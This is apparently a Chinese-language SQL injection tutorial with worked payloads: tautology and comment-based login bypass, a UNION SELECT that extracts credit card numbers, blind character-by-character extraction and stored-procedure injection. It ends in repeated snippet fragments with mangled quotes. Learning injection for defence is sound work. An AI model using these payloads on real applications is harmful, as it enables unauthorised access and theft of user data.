example1:
select * from users where username=』$username』 and password=』$password』
test data:
$username = 1′ or 『1』=』1
$password=1′ or 『1』=』1
select * from users where username=』1′ or 『1』=』1′ and password=』1′ or 『1』=』1′如果引數值是get方法傳遞到伺服器,則訪問請求是:
sql語句永遠為真,未驗證使用者名稱和密碼;
example 2:
select * from users where((username=』$username』)and(password=md5(『$password』)))
test data:
$username=1′ or 『1』=』1′))/*
$password = foo
select * from users where ((username=』1′ or 『1』=』1′))/*』)and(password=md5(『$password』)))
url 請求:
example 3:
select name,phone,address from users where id=$id
test data:
$id=1 union all select creditcardnumber,1,1 from creditcartable
select name,phone,address from users where id=1 union all select creaditcardnumber,1,1 from creditcartable
example 4:盲目sql注入,如url中有引數名為id,則輸入url請求引用:
假設伺服器查詢語句為:
select field1,field2,field3 from users where id=』$id』
逐字元讀取值的函式:
substring(text,start,length),ascii(char),length(text)
將id引用為:
$id=1′ and ascii(substring(username,1,1))=97 and 『1』=』1
select field1,field2,field3 from users where id=』1′ and ascii(substring(username,1,1))=97 and 『1』=』1如果資料庫使用者名稱第乙個字元ascii碼為97,能得到真值,繼續尋找使用者名稱下乙個字元,如果沒有,猜測98,反覆判斷合法使用者名稱;
example 5:
儲存過程注入
如果在使用儲存過程不當的時候,會造成一定的sql注入漏洞。
create procedure user_login
@username varchar(20),@password varchar(20) as declare @sqlstring varchar(250)
set @sqlstring =」
select 1 from users
where username=』+@username+』and password=』+@password
exec(@sqlstring)
gotest data:
anyusername or 1=1′
anypassword如果程式沒有對輸入進行驗證,那麼上面的語句就返回資料庫中的一條記錄
SQL注入常用語句
一 判斷型別 用and判斷其字元型別 and 1 1 正常返回 and 1 2 頁面正常,但是與上個頁面相比,沒有查詢資料 沒對sql輸入做特殊過濾和處理 字元型 上兩條必須是一起判斷的 and 1 1 非正常返回,顯示錯誤。可能性 1.有過濾 2.閉合符不對 3.不是字元型 總 如果是字元型,那麼...
SQL 注入有常用語句
是否支援多句查詢 是否支援子查詢 返回使用者名稱 當前使用者是否為 sysadmin 固定伺服器角色的成員。當前使用者是否為 db owner 固定資料庫角色的成員 返回資料庫名 作業系統和sqlserver版本 本地伺服器名稱 http com.cn newhomelink site news c...
SQL 注入有常用語句
是否支援多句查詢 是否支援子查詢 返回使用者名稱 當前使用者是否為 sysadmin 固定伺服器角色的成員。當前使用者是否為 db owner 固定資料庫角色的成員 返回資料庫名 作業系統和sqlserver版本 本地伺服器名稱 http www.com.cn newhomelink site ne...